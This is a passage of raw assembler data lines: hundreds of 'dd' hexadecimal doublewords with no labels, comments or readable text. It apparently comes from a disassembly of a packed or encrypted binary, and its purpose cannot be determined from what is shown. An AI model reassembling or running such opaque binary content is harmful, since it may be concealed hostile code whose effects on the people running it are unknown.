		dd 0DDC3063Bh, 995E00E5h, 0B0AEE9Ch
		dd 5048EF4Dh, 53CFBB78h, 5696B979h, 0E3D58751h,	0CB1194C7h
		dd 75C79B8Dh, 9B98FC8Dh, 0BD44BDh, 12360000h, 0D51B3026h
		dd 4F6A0A4h, 1194FCEFh,	0E3B51B7Dh, 40DCEAF1h, 6709DB18h
		dd 0AE91D90h, 0A0B57A12h, 66A374A4h, 8FDBF78Dh,	2CE54C07h
		dd 6A8Ah, 2612E200h, 0FAEE908Ah, 8A1840DBh, 10895EF2h
		dd 0EDB421FBh, 0AD11BE4Ah, 6A461E1Dh, 0E5537818h, 453B2Ch
		dd 12130000h, 0C0908A26h, 97F98848h, 0CF12C490h, 791840DCh
		dd 0CF2D95A5h, 0FE1F845Bh, 0DBE79A5Eh, 9C80B171h, 44F4B684h
		dd 56BED9Ch, 3DB2A474h,	0AF0AE91Ch, 0A6128AA9h,	0A11927F5h
		dd 0E546B1E1h, 21E02Ch,	6580000h, 119518C2h, 0FF028C75h
		dd 41BCFFFFh, 88AC0275h, 599E4024h, 0CB1194F0h,	0DC732F8Dh
		dd 123F1F1Ch, 0EE908A26h, 1840DBCDh, 3890A1A7h,	5DECDC78h
		dd 6C5434FBh, 0B23426F0h, 5E1194FCh, 0BD850B3Eh, 36857721h
		dd 470AE91Ch, 5C2CC3B5h, 0DEBEFD91h, 0E8963567h, 181FDD2Fh
		dd 0CA68560Fh, 4F90A7BBh, 0FFAB09C9h, 67319753h, 6335F55Bh
		dd 911C7A71h, 0AF6CE8FDh, 0AD1525FDh, 0F5695187h, 0FCB23123h
		dd 3B20043Ch, 5F0100E7h, 0F6E5EA98h, 4CF3720Ah,	0C0DA3826h
		dd 0C1DB1930h, 63A64D3Fh, 4004F6E5h, 0D13F543h,	7A8F0C0Fh
		dd 0B831C6A8h, 0F25B5EBEh, 4CB95DC9h, 0F1B6D687h, 88A66629h
		dd 2FF93F10h, 4BFE3A13h, 0BB7BDDC5h, 0B0818686h, 0A47C642Ch
		dd 3A1A2F95h, 0BE88AB40h, 0F95F395Eh, 0F4E01D2Fh, 0F80EAFB9h
		dd 0C1CFB97Eh, 1D65643Dh, 0F98848C1h, 0A6003197h, 841E5391h
		dd 0E23849B7h, 94B7E4DCh, 0DA7D940Ch, 172AEAA0h, 6D85D331h
		dd 6E32E42Ch, 1021E622h, 4F686B6h, 581824EFh, 84B51B7Dh
		dd 40A71309h, 0B56D0BC9h, 9A2D5C84h, 0F723F923h, 21FB3910h
		dd 9A4C3811h, 58182455h, 6C53B1D7h, 3C1E22C4h, 0DCC345F4h
		dd 8E22127Ah, 0A8682FFBh, 0BE6A2A99h, 771D917Dh, 6AAAEDB5h
		dd 855AFDA5h, 4219044Ah, 0FEA80E45h, 70431D87h,	743BFA4Bh
		dd 0FDA91126h, 23148B27h, 0D0783AFDh, 846B6110h, 0D41194B3h
		dd 1D3DD4CCh, 4F31C3D5h, 1194B3A8h, 0F75D423Ah,	0C4D6123Bh
		dd 0D1D61E3Ch, 0B3806860h, 8D9B1194h, 955FFE15h, 0D42B0DFFh
		dd 22F41194h, 46FB391Eh, 0E3B2C1C6h, 0D23390BDh, 0FFFFFF89h
		dd 0A167288Ah, 0BC3325F7h, 2E1194FCh, 0D9C3692Eh, 0FC8E6517h
		dd 781C1194h, 68A8EFBBh, 0C7A047BEh, 8F637D73h,	0F0805A88h
		dd 8E809858h, 0BE91494Eh, 378E76C4h, 0E1770124h, 0D545AB7Fh
		dd 0AD447C08h, 0A0702AEAh, 0A2652AEAh, 90503B5Bh, 3A7633h
		dd 92A40000h, 94250BE0h, 38FF9911h, 8A26121Eh, 0DBFCEE90h
		dd 0F0941840h, 0F5138FA0h, 5A668F3Bh, 6D7330F0h, 6D1F09A5h
		dd 1194FC79h, 0CFB47711h, 39h, 0AF1725FDh, 51F5BA9Ah, 908A2612h
		dd 40DBFCEEh, 0A0F09418h, 6A82EC8Fh, 19957DBEh,	0C7007D0Fh
		dd 0E789985Eh, 40A25655h, 0C81195A9h, 17D98B8Ch, 3DE98E65h
		dd 0BB781C04h, 15672893h, 94FC8C63h, 39F95311h,	37510408h
		dd 4608A0D1h, 94FC5F94h, 848BCD11h, 0E0179DEh, 0B97BD2CEh
		dd 0F3DF3D5Bh, 0D5BBAD7Fh, 11183B1Ah, 0BF9DA577h, 983B077h
		dd 0AEEDDDEh, 3E0CA440h, 2CEB0856h, 355Dh, 96164F00h, 0E21CED4Eh
		dd 0D11738E0h, 5FFFBCA0h, 908A2612h, 3B2BA2EEh,	0E79AF218h
		dd 0EECCFAF5h, 6058640Ah, 0EAFB7222h, 0C04B172Ch, 28EF7100h
		dd 0D94Ah, 67282200h, 776B1CBEh, 16729A5h, 3FE55670h, 23E3556Dh
		dd 0F3708769h, 9AF21194h, 4214A495h, 94F35B90h,	4CB48411h
		dd 4A025B3Dh, 7ABA9D45h, 9454FBC7h, 0F8AE0CFEh,	48CF1194h
		dd 136E288h, 622EAEC3h,	373CDCD1h, 0B91FDCEDh, 0C42BDDEFh
		dd 26119426h, 260BE092h, 0FF991194h, 1CCE9A99h,	183A42CCh
		dd 5A9EBE40h, 0B5C32127h, 35E77B47h, 48AF5163h,	0DA0AEE0Ah
		dd 0B30BFDA2h, 971196B0h, 301B27F1h, 0CD4E5AF0h, 0EDA40307h
		dd 2514BAE0h, 20AB8h, 34F45100h, 4E8A821Eh, 8242C820h
		dd 0D0103CF4h, 0E72D6EBAh, 9DFC5449h, 0C0D876BEh, 8E08E4Eh
		dd 7DB5C301h, 0A97C1ADAh, 802E99Bh, 1E600AE9h, 331A26BEh
		dd 0D46640F1h, 95FB5DECh, 814FCC96h, 0D8183FEBh, 14261AB2h
		dd 0FC5B9042h, 8FC91194h, 94FC36BDh, 0C8D0B411h, 6BED9C4Ch
		dd 60FCC4A4h, 2BC8C4B6h, 0CA14183Bh, 0C3D8341h,	0EECC539Ch
		dd 48B8840Ah, 65ADED39h, 0FBD7EDD4h, 0A51DABBEh, 0EAFAADE5h
		dd 0E7E42Ch, 28440000h,	8C631567h, 5D1194FCh, 94FC44ABh
		dd 0B7A6A611h, 975973D1h, 94FC0EE5h, 3BF89C11h,	519FBC06h
		dd 10AA820h, 0ECA31195h, 90A67A2Ch, 0C63F2150h,	8AA11772h
		dd 0AB818650h, 31ACD87Fh, 4D1D8806h, 0D21913F7h, 501194B2h
		dd 32C4D634h, 94B2AB40h, 585F3911h, 811DE5EBh, 1A3DC597h
		dd 844CCEDAh, 0CEF3F587h, 0E29B183Ah, 0D466BAD0h, 8AFB5DECh
		dd 81E78DABh, 8642CB97h, 86AE6DF3h, 22F46850h, 0BC94010h
		dd 9EB7004h, 0FF991197h, 0FE26152Dh, 4228142Ch,	16760BC9h
		dd 989F81B0h, 0EDD378B0h, 0E14DCC2Dh, 0AC1920BAh, 0D3h
		dd 214FBD98h, 0EB8141C9h, 0BFD51D3Fh, 4DEB2763h, 103EE655h
		dd 77C4339Dh, 137E389h,	0DE7FABC1h, 93A47C1Ah, 0D2E6072Dh
		dd 0E906CB20h, 75C5590Ah, 97BD6328h, 5EF4341Bh,	1B67283Eh
		dd 0F889F434h, 778D1B51h, 7E48F95Fh, 71011BD9h,	0EA6A1FDFh
		dd 0CB9D0F25h, 71A05739h, 4A021194h, 94717B70h,	0A86FE911h
		dd 392B5DF2h, 119471B2h, 58F65430h, 5AC3174Eh, 88F3BC96h
		dd 0B878DF8Bh, 0C52ADCEEh, 2711946Dh, 0DBD16221h, 81B6E6C9h
		dd 0DA31E9A7h, 0F99B775h, 141BD773h, 110BC94Eh,	90ECE41h
		dd 9A75E038h, 159A693Ah, 5DF9A166h, 7E9BB6Dh, 0A171DBF0h
		dd 5E001A72h, 0A171DB99h, 0FD4E4D0Bh, 0B36A465Eh, 0FA365C9Ch
		dd 0F9E29755h, 3, 28163651h, 308ABF6Dh,	1EA8D91Fh, 7A44F53Fh
		dd 596514D4h, 0A37F32F2h, 8D1928E8h, 96304181h,	0F1CD7CA4h
		dd 0E2E89959h, 81E38953h, 4C3h,	4BF5700h, 29000000h, 1C875FFBh
		dd 89565C24h, 4C681E6h,	81000000h, 4EEh, 24348700h, 2404895Ch
		dd 38B368h, 242C8900h, 21F3BD55h, 0F745557Eh, 0C7F581D5h
		dd 45079A3Ch, 2414F755h, 95C5815Dh, 89B3C7C4h, 8B545DE8h
		dd 0C481242Ch, 4, 4EC81h, 4890000h, 8458F24h, 5D2434FFh
		dd 0FF04C483h, 81582434h, 4C4h,	4848E900h, 0D912FFFBh
		dd 0B8A74BE0h, 6ABF7A8h, 0E0FFC503h, 634D6255h,	1DA11D05h
		dd 4303EFC7h, 187E8CA2h, 6F15EE31h, 4EF43B17h, 7D3E0C12h
		dd 3E985778h, 3E609332h, 16DE58D7h, 64580D53h, 9FE9h, 0E2A58400h
		dd 9405h, 500h,	100h, 0A2800h, 200h, 22h dup(0)
		dd 0B15E9h, 0FAAA6800h,	98E906ABh, 68FFFA84h, 6ABFB95h
		dd 0FA848EE9h, 0FCAD68FFh, 84E906ABh, 68FFFA84h, 6ABFD0Ch
		dd 0FA847AE9h, 0FE2D68FFh, 70E906ABh, 68FFFA84h, 6ABFE9Ch
		dd 0FA8466E9h, 17D68FFh, 5CE906ACh, 68FFFA84h, 6AC0275h
		dd 0FA8452E9h, 0CF2502FFh, 0F913CB72h, 2AC0E1ACh, 5EB0B09Fh
		dd 8E5844C3h, 5A55E833h, 6AD560B6h, 3D18957Bh, 0CE49C412h
		dd 0BBBBF61Ch, 10618235h, 0D4773367h, 0B88A7A4Eh, 145AD40Eh
		dd 570BB8CAh, 0AC608CBDh, 0B01B386Bh, 35CC4813h, 0BFB5AD05h
		dd 0B01F5543h, 5CD58B2h, 88234DC8h, 3EB24BBAh, 0DC0A369Dh
		dd 8C2331ADh, 0BBD47716h, 0BD336A43h, 0EF2647ADh, 897716F8h
		dd 0CCD253A1h, 4F6AEE24h, 0EF65802h, 4Eh, 3E9F966h, 56EA785Ah
		dd 3A24E11Ch, 7A23C99Dh, 3D5FF98h, 84EA785Ah, 7D9351FEh
		dd 3F80D2CCh, 3EB2D80Bh, 7396B723h, 336AD9DAh, 0F3778DA5h
		dd 0F65894D8h, 0FE5C562h, 0DE30375Eh, 194733AFh, 6AD515BEh
		dd 0D5AF1B33h, 0CFBAh, 875B7800h, 0EF913C6Dh, 47EC0039h
		dd 55FA8862h, 87CE7F95h, 5DFC49A3h, 35CCEDCFh, 0C845AFB3h
		dd 0D3739D4Dh, 0BFEA8912h, 7D55F4E0h, 7CDB8580h, 61CF856Fh
		dd 0EC0A2BDBh, 7CAF8800h, 38354884h, 156F0E25h,	0B27D54A2h
		dd 3DB623Eh, 524EB0E9h,	14BE3FC7h, 0D292BD57h, 0A5910D3Ch
		dd 9A1B10BBh, 655D3812h, 338A5CFBh, 3BA7C610h, 0AF354Fh
		dd 0D07FCA1Ch, 185FA2Ch, 928EED7Ch, 8B675F3h, 0F4F10000h
		dd 0A284831Eh, 9152FD48h, 41672E7Bh, 92B12AFh, 0A60742DFh
		dd 64B16709h, 0A9E40AD9h, 9815C3EEh, 0CA47ADBDh, 0D071DA64h
		dd 0C6336713h, 8A7A9FA3h, 2459B133h, 2F94EED5h,	0FF46D305h
		dd 7D9352EBh, 0D4283481h, 0F8C03B50h, 1A562C8Fh, 6F20E11Ch
		dd 80782173h, 9F382612h, 3EB288EBh, 0D3761783h,	336A96BAh
		dd 53D72DC5h, 0F658DBB8h, 6F85A502h, 3AEC973Eh,	0D1A39F03h
		dd 0A5B6h, 0DD7A7C00h, 1A0FE70Dh, 356FF081h, 82A0EF65h
		dd 0F29E3168h, 56C60524h, 1535CCECh, 250BEAEh, 0CA47ADBDh
		dd 0D4759F43h, 5806FFFEh, 0B2D207FFh, 0EE3B973Eh, 4E28E5E0h
		dd 70913AC0h, 66336AD9h, 0F745F68Ch, 9B38127Bh,	0F69A412Fh
		dd 2C8B9520h, 9F34A73Fh, 8138823Bh, 6E123D29h, 7B65AAB8h
		dd 24543AADh, 1A2B8EEEh, 7CBC2h, 0F319CE00h, 25CF9FA6h
		dd 56BCADE8h, 826C7CDBh, 0B2640837h, 6E892467h,	3E199442h
		dd 0C974C12Fh, 9AA5F026h, 8F9722C8h, 123D5601h,	0F8233367h
		dd 6FB95BBAh, 9D776BD2h, 875BF600h, 5CB03C6Dh, 49E22BA4h
		dd 35CC0FD8h, 0A6FCD4CEh, 22014E0Bh, 53219DCCh,	4A14FEECh
		dd 4113F9EDh, 0AABF2400h, 6CCDBC44h, 78541300h,	0B4B2DDC1h
		dd 0A1B32F5Eh, 0F37D9855h, 823B9975h, 0F3D0A135h, 0DB58DE61h
		dd 802F3EB8h, 0F71E4FA1h, 552F1BCDh, 0FD5A04FEh, 8F8A07EDh
		dd 3360DAF2h, 678C2FB5h, 93360DAh, 0C03BC391h, 0BD94C341h
		dd 0FF587768h, 3360B152h, 86726E44h, 37E55E0Bh,	8B115FB6h
		dd 9FD53F2Ch, 1EADBA3Ch, 5615BC38h, 0D378CCB8h,	0A4C585FBh
		dd 92DC39B4h, 0A9AE9539h, 332B909Fh, 831E78Ah, 1F83BA96h
		dd 83A7EE45h, 0C6CC7D69h, 0F7600E07h, 99767F7Eh, 4FF47268h
		dd 69F7719Bh, 5D0CE2C2h, 3FB92A61h, 33AF9BA6h, 5256021h
		dd 200078EFh, 0D273EDD2h, 6B39Ah, 1BF1F600h, 4DA7878Eh
		dd 7E9455F0h, 0AA446423h, 0DA0C301Fh, 16A13C4Fh, 2661BC6Ah
		dd 0F15CE907h, 828D18CEh, 77FF4AA0h, 15254EE9h,	90CB3367h
		dd 24E11C82h, 0E19D913Ah, 0E1D93EB8h, 0E40ED887h, 12F8EEA9h
		dd 0E806246Bh, 521098C9h, 251D81B8h, 36222370h,	91A68FD1h
		dd 47A1A495h, 654h, 217C9657h, 1FAA4066h, 4CD93330h, 0B00DE3C1h
		dd 0E03DEB95h, 0C9EB0459h, 0A4BB821Fh, 0AD50FF4Ah, 43672E7Bh
		dd 88161CA9h, 6714822Fh, 21719433h, 3A24E11Ch, 0BE5017BCh
		dd 0E11313A4h, 3C5B3EB8h, 3CA6C711h, 0A9B92640h, 0D308F643h
		dd 0B2AE4465h, 0E0D62EB4h, 23D34C8h, 1D74FF33h,	110D3747h
		dd 0C79D4B76h, 6771CB74h, 44E5DD33h, 35DF8328h,	71729C3Fh
		dd 270D3367h, 71953E99h, 2F9B3367h, 0F3778D55h,	0F65530D8h
		dd 0DDBC562h, 0DA30315Ch, 2DFB94EEh, 0A7000000h, 4422E71Ch
		dd 0CCE97293h, 0DF8E6435h, 0CCE913BCh, 4E446C35h, 0B95716BDh
		dd 0A9441E80h, 0F0FEA872h, 731h, 0BA72F100h, 0D6000001h
		dd 0B9264A09h, 193B44AAh, 8C49B5CFh, 0B1E83E22h, 8917514Dh
		dd 0E93BA803h, 0B52D35CCh, 3C36DC8Ah, 0B2F55B9Bh, 0F7F4133Eh
		dd 86726C1Dh, 54321902h, 0D617C310h, 7086313Fh,	688E24Eh
		dd 0D815FDACh, 4F98333Dh, 198241DFh, 4A18C7A1h,	382A15A0h
		dd 0C0016DD2h, 3352D89Ch, 533B5h, 9B717600h, 0CD27070Eh
		dd 0FE14D570h, 2AC4E4A3h, 5A8CB09Fh, 9621BCCFh,	0A6E13CEAh
		dd 71DC6987h, 20D984Eh,	0F77FCA20h, 17A5CE69h, 104B3367h
		dd 1F875B02h, 0CCE917BCh, 0B5A11935h, 0B35D0CABh, 47860CA1h
		dd 0BD1AA0CEh, 0BB6D1792h, 5241082h, 358CA999h,	939CB982h
		dd 92187EC1h, 249E3EB2h, 56BCAEE9h, 967D63F1h, 33B5D895h
		dd 4C4h, 0B10CE6C7h, 0EF3AD096h, 0DC6983A0h, 9D7371h, 70CD1B05h
		dd 791B9429h, 342B12AFh, 0DDC04FDAh, 0D397BE0Bh, 0F886EC39h
		dd 6717325Fh, 0B1812433h, 36D875Bh, 0E9B1D285h,	4BA735CCh
		dd 69799439h, 0EB65DA83h, 9576971Bh, 5F0C2485h,	3E2A94B5h
		dd 7586FC24h, 7EF422CEh, 0B8A811D1h, 91C82605h,	0C845312Dh
		dd 0BDDC76Ch, 0FB126052h, 0F0FE05C0h, 3A9Fh, 0E11C0300h
		dd 4D913A24h, 293EB2C2h, 0F15FB7B1h, 6B60279Fh,	9D895F41h
		dd 8A2366C7h, 0F5336AC2h, 0A843C73Dh, 0E7F6588Fh, 4Dh
		dd 85B78579h, 1B42A8BEh, 0D242CFA7h, 1C1A562Ch,	913A24E1h
		dd 3EB238A1h, 62B45F04h, 168DC73Bh, 8F34B2BCh, 9D2230DAh
		dd 0A39623C9h, 336AA60Bh, 0ABB55F03h, 0A6198A2Dh, 930F336Ah
		dd 6F1EC8F4h, 0E5A0E173h, 0FA722BC1h, 3D8h, 24E11CAEh
		dd 0F5E9913Ah, 17BC3EB2h, 138FBE50h, 5108E241h,	0D5952C3Eh
		dd 0E579EA4Dh, 736F336Ah, 2F2AB87h, 7C79EC26h, 0A559E781h
		dd 9056940Fh, 0E7DFC37Ah, 62F017FEh, 14CB29D1h,	58D5CD38h
		dd 6607EDFDh, 68BEA10Eh, 1AF3F21Ah, 0A14BFB5Ch,	776333FEh
		dd 8C6242E9h, 3293E1DDh, 7C26CC93h, 0E3C810B2h,	56F9A09Ch
		dd 8EC17896h, 5B4731DFh, 0BE5FB29h, 0CA746052h,	4466B4CEh
		dd 727313AEh, 7676DD9Bh, 0F364CA98h, 2D404873h,	0B7DE8F7Bh
		dd 0EC2059B3h, 0D27FD866h, 0C42F544Ch, 364C94EEh, 8DEB22A3h
		dd 2A66942Ah, 0DD684224h, 0E39A7072h, 375680ACh, 2204A3C9h
		dd 572D91C8h, 0B7AB798Bh, 0C302C05Dh, 7B8B2C4Ah, 131F8C2Ah
		dd 9F3AE1A3h, 6A7AA9E7h, 0C9B8A884h, 0C72547FAh, 0CB7A231Fh
		dd 14CFD17h, 7392CB21h,	0A8E4856Fh, 0F5931260h,	8342D72Dh
		dd 6347EC8Ah, 274CEF89h, 0C9122806h, 0BA1D83D1h, 19560514h
		dd 0D27DC822h, 23E9FE10h, 0CB7EC9AFh, 4367AEDFh, 77761CA9h
		dd 57F61CCDh, 4AF17F6Bh, 0D6C871A7h, 285187A9h,	8536BCB6h
		dd 103890CDh, 10B11AA0h, 600FC9Ch, 8179D6ACh, 9C0CB9D8h
		dd 477300FCh, 0DD12C94Dh, 3E51C5CEh, 0D1000000h, 3A24E11Ch
		dd 0BA6C17BCh, 0F2451F83h, 3EB2D8C8h, 6983A7EEh, 94D2CE30h
		dd 0C604AD0Eh, 0C22A336Ah, 6AC6F869h, 18F4EE33h
		dd 0FB8DB4Ah, 70336AC6h, 13CE4AB8h, 52F6588Bh, 0B2h, 6D875BD0h
		dd 39EF913Ch, 0F71DCD00h, 0C12B3F56h, 0ED57C574h, 372B35CCh
		dd 4261D88Eh, 1501FDACh, 81A1EC39h, 99C02A38h, 97DC4D25h
		dd 8F08D5B2h, 786ED593h, 656DC092h, 68C3AD68h, 3EB22C86h
		dd 0A7AFFAD0h, 0D681EF26h, 38134AEEh, 0F35806FCh, 838A07D1h
		dd 0AA4464E1h, 4AF949BEh, 7B0A8EEDh, 1E3FDh, 0EB012600h
		dd 1DF7F75Eh, 4EA48580h, 7A9454F3h, 0AA7C602Fh,	4671CC1Fh
		dd 16318C5Ah, 216CB957h, 0F25DE83Eh, 0A78F1AF0h, 0E815BE19h
		dd 0E01B3360h, 0DDD7A52h, 225BB5B4h, 18EC4B0h, 24CA9A1Fh
		dd 10AD9905h, 0DC8C3535h, 0BB970B32h, 0E11CD46Eh, 0E9913A24h
		dd 8D3EB2D8h, 0B8D57415h, 0C7336AC6h, 0A65DD92Bh, 0E5F6588Bh
		dd 0CEh, 6D875BADh, 570BB03Ch, 5E418CBDh, 0F1EDD188h, 0CC7DAB56h
		dd 113380D2h, 0EF48D494h, 35CCE942h, 96827E54h,	917B63C8h
		dd 0C97CF6E8h, 0CCEDE28Ah, 2CC2E035h, 0D4E483F4h, 8AD4C018h
		dd 40AC4C7Ah, 374D6417h, 0E50FD37Ah, 728F4E44h,	3B2A199Fh
		dd 5A4AB4D5h, 3C28EC40h, 5B0FB432h, 8E10A3B1h, 0E83EB207h
		dd 1EDFA7F2h, 45DE79E7h, 2B381295h, 660AB1BFh, 68F869C2h
		dd 0F4EE3883h, 9E828D18h, 7475D748h, 0FB8A8EEDh, 0EB7Dh
		dd 0D3392E00h, 5EFFF46h, 36DC8D88h, 628C5CFBh, 924468D7h
		dd 4E69C407h, 1E3974A2h, 2914A14Fh, 0FA45D006h,	0AFB702E8h
		dd 0EB1DB621h, 0D8033360h, 6FB95B5Ah, 0EF776BD2h, 0CCE9274Ch
		dd 0E5D1C935h, 875B1EA8h, 2AB03C6Dh, 0CCE96081h, 0C69C7635h
		dd 36836979h, 9A37A02Eh, 9C35CCE9h, 9C0627F1h, 0B1D285E3h
		dd 0A735CCE9h, 0F9055F4Bh, 0F46701FCh, 3EB8E1BEh, 7C93CA20h
		dd 0E09846Eh, 7497B65Ch, 3CB1B3ACh, 8F5DB773h, 59E431DBh
		dd 9056389h, 0FE75229Bh, 0BCD5868Ch, 0A23C365Ch, 0A7065C48h
		dd 0C8967868h, 5C78E942h, 746E3C36h, 21004FFEh,	7B22CC9Ch
		dd 53F2AB87h, 0C2C5648Eh, 1D3BBAC8h, 278C7F95h,	349BE903h
		dd 33E58F36h, 9F43CA47h, 0CA6DEB75h, 3C365C59h,	5CB4DD7Eh
		dd 40BA3C36h, 4A9BB17h,	3E0h, 821EB800h, 3168825Bh, 726CC9Eh
		dd 4AF325C8h, 93CA243Bh, 0E786507Ch, 2B5284A8h,	732AC4E4h
		dd 44E50FDCh, 96B75D09h, 4EC81A4h, 89000000h, 0E589242Ch
		dd 4C581h, 0ED830000h, 242C8704h, 4EC815Ch, 89000000h
		dd 89572434h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 242C895Ch
		dd 62F868h, 241C8900h, 0ABF959BBh, 5BDE8906h, 4EC81h, 24890000h
		dd 24048124h, 4, 1C4685Dh, 34890000h, 24348124h, 6C50E2Fh
		dd 8108458Fh, 0E2F0875h, 2C8B06C5h, 0E0895024h,	405h, 40500h
		dd 4870000h, 34FF5C24h,	0C4815E24h, 4, 0FA7992E9h, 0B6107EFFh
		dd 85B838BCh, 306AC03h,	46E0FFC5h, 4E5AA2E2h, 62761305h
		dd 8A5D4D01h, 877EFF95h, 0D82F2310h, 747902B6h,	0A162D2B5h
		dd 64367DB4h, 0F3752C18h, 2800D416h, 0CC63F51Ah, 0E338B17Dh
		dd 0EE18BFFEh, 17587AECh, 0A959CE54h, 207933B7h, 116ABB4h
		dd 0DA060898h, 85456946h, 0EB11E902h, 24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 6AC0479h, 1451858Bh, 858B06A6h
		dd 6A622A5h, 4C3B58Dh, 858D06ACh, 6A9431Ah, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 6AC04C9h, 1451BD83h, 0F0106A6h, 2C85h
		dd 79B5FF00h, 8B06AC04h, 0A622A585h, 27363506h,	0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 0AC047DB5h, 0B5FF5606h, 6AC0479h, 22A5858Bh,	363506A6h
		dd 0FF348127h, 0CC483D0h, 47DB58Dh, 468B06ACh, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 51BD8300h, 106A614h
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	0AC04A285h, 1D858906h
		dd 0E906A633h, 2Fh, 72D4B8D1h, 0Ah dup(0)
		dd 0E9000000h, 4F6h, 8904EEFFh,	0E732D88Eh, 0D4618B58h
		dd 18957B69h, 48C5133Dh, 71139C31h, 3C236AA7h, 0D5F847D2h
		dd 0DB8FB603h, 0F07EE431h, 60EC2A47h, 89893C33h, 123E875Bh
		dd 0E3FD197h, 9DCCB894h, 0D984E72h, 93CA2002h, 0E5846E7Ch
		dd 1A05BCAAh, 35219DCCh, 65C2A814h, 2FCAD7Bh, 8052A070h
		dd 52FD48A2h, 612C79AFh, 61CEA87Eh, 0FCEEA97Fh,	0F98B7716h
		dd 0C42A3954h, 46ED6BA5h, 0E1DD8C5Ah, 3F6E84A6h, 1361B1C3h
		dd 0BD08DEC1h, 33AD092h, 0CCE9A6C0h, 58AA7035h,	0FEA425DCh
		dd 5564F0h, 7A2E0000h, 0E9365BFCh, 0C23835CCh, 364C9A85h
		dd 0A33D989h, 0CCE958F7h, 58E68E35h, 0CCE952FFh, 146E4435h
		dd 9732B6CCh, 0D6F0FEA4h, 1, 69835B5Ch,	23C99D30h, 0FB15CB7Ah
		dd 3C565242h, 5412F8EEh, 7415FFEFh, 9EB9F88Ah, 57CD22CCh
		dd 0CD579343h, 5B0A44D1h, 5A016FB9h, 0BC116389h, 8EBF5511h
		dd 7C8F8589h, 0E92C45F6h, 42235CCh, 0B59B1EEh, 0F34E9884h
		dd 0CD7C9654h, 124BA182h, 6794EE8Ah, 0F3389DAFh, 6BF9931Fh
		dd 0FED52772h, 8126F0h,	5BEC0000h, 0B63E6FB9h, 44343E5Eh
		dd 0CC377E93h, 9A8A6035h, 0C193D899h, 0E29B7172h, 0EDC36F2h
		dd 0DE79B462h, 0A45E432h, 395B45Ah, 5966D935h, 0FFA495A8h
		dd 0C347BD65h, 0F0FEC258h, 0EF052582h, 550E44BEh, 65h
		dd 6ABCA00Fh, 0B95B5818h, 0EC973E6Fh, 1CCC033Ah, 24044BF2h
		dd 905293CAh, 59B3B062h, 52A06A6Dh, 0B2163AA1h,	0CCE9E819h
		dd 2804FE35h, 48F78D71h, 286F76A4h, 0C8A3DA65h,	5B3541DCh
		dd 0BC306983h, 3CBE6C17h, 599D3055h, 0F6491BF7h, 35CC9058h
		dd 0EA6EA48Eh, 0F0FEDDCFh, 88Eh, 6B79E600h, 68FAE485h
		dd 6C865B28h, 6E84A502h, 0ED06B13Fh, 0F335CCE9h, 0F4592B07h
		dd 5638959h, 0C564B25Eh, 0EB1A8BD9h, 2D6019F3h,	48B6D73Dh
		dd 0C19DF6D3h, 0DDC5B3D5h, 0D21826A7h, 0E84EE354h, 7A5035CCh
		dd 18CA38E8h, 6E14A14Bh, 6FC8966Fh, 3EB2D6D3h, 0FA610FFBh
		dd 7B6706ECh, 590944E9h, 1F59B5B3h, 0E4DC11B5h,	0DA653C36h
		dd 18BBE208h, 336AD9E9h, 4B99EBA7h, 65207D97h, 57FEAF45h
		dd 43C07993h, 0C3E7354Fh, 0B504632Dh, 5A0FF259h, 685530BBh
		dd 0EA27130Fh, 58CADEF5h, 0E29468F6h, 0AC426117h, 0AC1101FDh
		dd 0B3ACA6DCh, 112h, 0CA2006ADh, 0E11CF8B8h, 0E94CE556h
		dd 604235CCh, 0B0EFD38Ah, 7A006E5Ah, 9E90728Ah,	0A0B2F3C2h
		dd 0B25D671Fh, 24C8773Eh, 7B574BF2h, 66DF83C2h,	64B1AD7Bh
		dd 85E309D9h, 50375CFFh, 0C139336Ah, 0EFF312B3h, 2BE76405h
		dd 0BD570BD9h, 0B5080460h, 442EDBCCh, 28B2818h,	0AE807485h
		dd 0E28239D4h, 3FC1F658h, 93000000h, 89DB3534h,	22E71CC9h
		dd 0E91E9344h, 6A40B5CCh, 0E9739033h, 975BB5CCh, 16F3E87Dh
		dd 4765C248h, 740EF0A9h, 0CCE9CEC3h, 0EF3A9035h, 7989h
		dd 84A40300h, 0CF9C336Ah, 0AE9A0425h, 0E11C9CD4h, 5D913A24h
		dd 283EB2C3h, 831DB83h,	8B67DC96h, 45AFB3D2h, 779D4DC8h
		dd 0F019B3D6h, 5D55336Ah, 4CF5F527h, 0A87739Dh,	0BDF8944h
		dd 6A46B8E1h, 0F5F2AB0Ch, 59B5381Eh, 0C89A8483h, 0AF877B22h
		dd 66FCFCF2h, 997D1C9h,	9E2C05AEh, 0A5BF2B38h, 0F71DCD00h
		dd 80F23E56h, 333DD815h, 253FE994h, 2B031CBFh, 7D5533EAh
		dd 0E11C9620h, 84913A24h, 0D23EB8EEh, 0A12F41F8h, 60EC9D36h
		dd 5D178333h, 831EF4F6h, 1D4CA684h, 0ED4974D3h,	60ECD94Ah
		dd 0E7D3CF33h, 648D2E46h, 0A3360ECh, 78CCA490h,	0D8619807h
		dd 2786394Bh, 0F48FE8A8h, 0CE2C16Eh, 0CF13615Dh, 0C99946B5h
		dd 0CA987A23h, 0E18F6545h, 0DA83697Ah, 6C6308F8h, 0F3EB210Dh
		dd 45652061h, 5A03EDFCh, 0B2DD8C78h, 0E2125CB2h, 63695AB3h
		dd 0A30EED5Fh, 9ED7A600h, 0D37DD0A2h, 7B6FBDD7h, 0EE49D791h
		dd 4EE91645h, 0D7012C6Bh, 2504CB6h, 8E2C04Fh, 0DE3C16Eh
		dd 396D677h, 0CA000000h, 825B821Eh, 0CC9E3168h,	25C80726h
		dd 243B4AF3h, 507C93CAh, 84A8E786h, 0C4E42B52h,	0FDC732Ah
		dd 5D0944E5h, 51A496B7h, 0C181E189h, 4,	4B850h,	0C1290000h
		dd 240C8758h, 5C31685Ch, 1C890000h, 0E3895324h,	4C381h
		dd 0EB830000h, 241C8704h, 240C895Ch, 8904EC83h,	0A4BF243Ch
		dd 8906AC05h, 67685FFBh, 8900005Ah, 4812424h, 424h, 81535900h
		dd 329C242Ch, 418F7AD4h, 8418108h, 7AD4329Ch, 53240C8Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 1C8B5C24h,	0E3895324h
